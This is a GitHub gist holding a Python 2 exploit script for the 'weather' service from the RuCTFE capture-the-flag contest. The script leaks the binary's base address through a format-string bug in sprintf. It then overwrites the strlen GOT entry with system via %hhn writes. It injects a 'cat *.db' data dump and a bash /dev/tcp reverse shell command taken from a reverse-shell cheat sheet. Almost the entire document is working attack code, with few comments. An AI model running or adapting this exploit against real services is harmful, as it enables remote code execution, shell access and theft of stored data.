Skip to content

Instantly share code, notes, and snippets.

@hhc0null
Last active November 13, 2016 06:41
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save hhc0null/e62f0cb71ac981e683107521d9ab0373 to your computer and use it in GitHub Desktop.
Save hhc0null/e62f0cb71ac981e683107521d9ab0373 to your computer and use it in GitHub Desktop.
RuCTFE: weather (explicit bof and fsb by sprintf())
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
#!/usr/bin/env python2
import binascii
import hashlib
import re
import socket
import string
import struct
import subprocess
import sys
import time
import telnetlib
def p(x, t="<I"): return struct.pack(t, x)
def pl(l): return ''.join(map(p, l))
def u(x, t="<I"): return struct.unpack(t, x)[0]
def ui(x): return u(p(x, t="<i"), t="<I")
def hx(b): return binascii.hexlify(b)
def uh(s): return binascii.unhexlify(s)
def a2n(s): return socket.inet_aton(s)
def n2a(s): return socket.inet_ntoa(s)
def read_until(f, delim='\n'):
data = ""
while not data.endswith(delim):
data += f.read(1)
return data
def wn(f, b):
f.write(b+'\n')
def connect(rhp):
print "[+] Connect to %s:%d"%(rhp)
s = socket.create_connection(rhp)
f = s.makefile('rw', bufsize=0)
return s, f
def interact(s):
t = telnetlib.Telnet()
t.sock = s
print "[+] 4ll y0U n33D 15 5h3ll!!"
t.interact()
def gen_shellcode(source, bits=32):
source = "".join([
"BITS %d\n"%(bits),
source,
])
filename = hashlib.md5(source).hexdigest()
with open("/tmp/%s.s"%(filename), "wb") as f:
f.write(source)
subprocess.call("nasm /tmp/%s.s -o /tmp/%s"%(filename, filename), shell=True)
with open("/tmp/%s"%filename, "rb") as f:
shellcode = f.read()
return filename, shellcode
### user-defined
offset_got_strlen = 0x506c
offset_plt_system = 0xa80
offset_where = 0x3060
offset_retaddr = 0x102c
if __name__ == '__main__':
if len(subprocess.sys.argv) != 3:
print >> subprocess.sys.stderr, "Usage: %s HOST PORT"%(subprocess.sys.argv[0])
subprocess.sys.exit(1)
host, port = subprocess.sys.argv[1:]
rhp = (host, int(port))
# leak the base address of binary, the saved ebp.
s, f = connect(rhp)
f.write(''.join((
'cat *.db # '.ljust(0x400, 'A'),
'%2$p,%49$p',
))+'\n')
d = read_until(f)
print repr(d)
s.close()
f.close()
# get the magic addresses.
hexes = d[:-1].split(',')
weather_base = int(hexes[0], 16) - offset_where
addr_saved_ebp = int(hexes[1], 16)
print '[*] weather_base: '+hex(weather_base)
print '[*] address of saved ebp: '+hex(addr_saved_ebp)
# calculate some stuffs.
addr_plt_system = weather_base+offset_plt_system
addr_got_strlen = weather_base+offset_got_strlen
retaddr = addr_saved_ebp - offset_retaddr
print '[*] address of plt system: '+hex(addr_plt_system)
print '[*] address of got strlen: '+hex(addr_got_strlen)
print '[*] address of ret addr: '+hex(retaddr)
# construct a fsb payload. (wasted time...)
a,b,c,d = [
(addr_plt_system >> 0x00) & 0xff,
(addr_plt_system >> 0x08) & 0xff,
(addr_plt_system >> 0x10) & 0xff,
(addr_plt_system >> 0x18) & 0xff,
]
t = {
a: p(addr_got_strlen),
b: p(addr_got_strlen+1),
c: p(addr_got_strlen+2),
d: p(addr_got_strlen+3),
}
a,b,c,d = sorted((a,b,c,d))
targets = ''.join((
t[a], # 69$
t[b], # 70$
t[c], # 71$
t[d], # 72$
))
# refs: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
command = 'bash -i >& /dev/tcp/127.0.0.1/12345 0>&1 # '.ljust(44, 'P') # `44` should be calculated automatically.
payload = ''.join((
command,
targets,
'%{}c'.format(a-len(command)-len(targets)),
'%69$hhn',
'%{}c'.format(b-a),
'%70$hhn',
'%{}c'.format(c-b),
'%71$hhn',
'%{}c'.format(d-c),
'%72$hhn',
))
print '[*] payload: '+repr(payload)
# pwn!
s, f = connect(rhp)
data = ''.join((
''.ljust(0x400, 'A'),
payload,
'\n',
))
f.write(data)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment